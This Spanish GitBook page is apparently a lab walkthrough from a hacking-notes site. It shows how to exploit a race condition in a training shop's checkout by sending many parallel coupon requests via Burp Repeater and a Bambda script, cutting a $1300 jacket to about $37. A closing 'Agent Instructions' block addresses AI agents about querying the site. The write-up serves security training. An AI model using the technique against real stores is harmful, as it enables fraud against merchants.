> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/race-conditions/race-conditions-that-bypass-limits.md).

# Condiciones de carrera que eluden límites

### Condiciones de carrera por exceso de límite

El flujo de compra contiene un **condición de carrera** que te permite obtener un **precio inesperado** en el momento del pago.

#### Objetivo

Compra con éxito el **Chaqueta de cuero L33t ligera**.

#### Datos / Prerrequisitos

* Credenciales: `wiener:peter`
* Código de descuento (20%): `PROMO20`
* Crédito disponible: **$50**

<figure><img src="/files/16964374a52fdb1c41d03e4922f227ee8764c059" alt=""><figcaption></figcaption></figure>

* Costo de la chaqueta: **$1300**

<figure><img src="/files/bc3f032df7aba2599bd1e071d6bb61494de014bf" alt=""><figcaption></figcaption></figure>

### Observación del comportamiento

1. Añade la chaqueta al carrito.
2. Aplica el `PROMO20` cupón.
3. Si intentas aplicar el cupón por segunda vez, la aplicación responde: **Cupón ya aplicado**.

<figure><img src="/files/d69a1309eef7894e738366ed9af284b5aa38ca7d" alt="" width="563"><figcaption></figcaption></figure>

La solicitud de aplicación del cupón se ve así (formulario codificado en URL):

```bash
csrf=7QYFGBaACc8P5YOfUHR4S85oo95uA0Vb&coupon=PROMO20
```

### Explotación manual (Burp Repeater)

1. Envía la solicitud de aplicación a **Repeater**.
2. Crea un **grupo** en Repeater.

<figure><img src="/files/e02fd8e89c52e5d31a2af1988a193493d0a069b0" alt="" width="563"><figcaption></figcaption></figure>

* Duplica la pestaña de la solicitud unas 20 veces (**Duplicar pestaña**).

<figure><img src="/files/e42d66847917ed75d8c3bb8381df5a6905c01412" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9ac225604e8a7f5106ec2f28b33eaf123e2dac9c" alt=""><figcaption></figcaption></figure>

Enviar solicitudes **en paralelo**.

<figure><img src="/files/d09c221762d8705b56e19ba613291d0f179017a0" alt=""><figcaption></figcaption></figure>

El resultado es que la mayoría de las solicitudes son **validadas**, y el total pasa a ser **/\~37**, lo que te permite comprar a pesar del precio original ($1300) y del crédito limitado.

<figure><img src="/files/4d0c4762a53c0a1e82aad686df69c9f901752b50" alt=""><figcaption></figcaption></figure>

### Explotación automatizada (acción personalizada de Burp Suite Pro)

El laboratorio recomienda usar **Provocar condiciones de carrera** (Burp Suite Professional) mediante una **acción personalizada**.

#### 1) Añadir script (Biblioteca Bambda)

Ve a **Extensiones → Biblioteca Bambda** y añade:

* **id**: `eb57d5bd-33e2-4a8c-bf51-bc81bd26613a`
* **nombre**: `Comprobar condición de carrera`
* **función**: `CUSTOM_ACTION`
* **ubicación**: `REPEATER`

```javascript
id: eb57d5bd-33e2-4a8c-bf51-bc81bd26613a
nombre: Comprobar condición de carrera
función: CUSTOM_ACTION
ubicación: REPEATER
source: |+
  /**
  * Repite la solicitud 10 veces para provocar condiciones de carrera o contrabando de solicitudes, usando el ataque de paquete único para HTTP/2 y la sincronización del último byte para HTTP/1
  *
  * @author James Kettle
  **/
  int NUMBER_OF_REQUESTS = 10;
  var reqs = new ArrayList<HttpRequest>();
  for (int i = 0; i < NUMBER_OF_REQUESTS; i++) {
      reqs.add(requestResponse.request());
  }

  var responses = api().http().sendRequests(reqs);
  var codes = responses.stream().map(HttpRequestResponse::response).map(HttpResponse::statusCode).toList();
  logging().logToOutput(codes);
```

<figure><img src="/files/bcffa12f8a1c95308d986ee7c84135a9ea72efb0" alt=""><figcaption></figcaption></figure>

#### 2) Iniciar desde Repeater

1. En Repeater: **acción personalizada** → añadir desde ejemplos.

<figure><img src="/files/dc62d6e0682228435628e551988685e88ac485f3" alt="" width="548"><figcaption></figcaption></figure>

* Se ha cargado la acción personalizada creada.

<figure><img src="/files/5fbb46af1138ae0c6381bff42617be10c71ccd4e" alt=""><figcaption></figcaption></figure>

Probar con **30 solicitudes**.

vemos **códigos de estado** (para 30 envíos) y podemos provocar la condición de carrera más fácilmente

<figure><img src="/files/dac2e63cfa77216f0c9873b0fe118ac636193136" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/race-conditions/race-conditions-that-bypass-limits.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
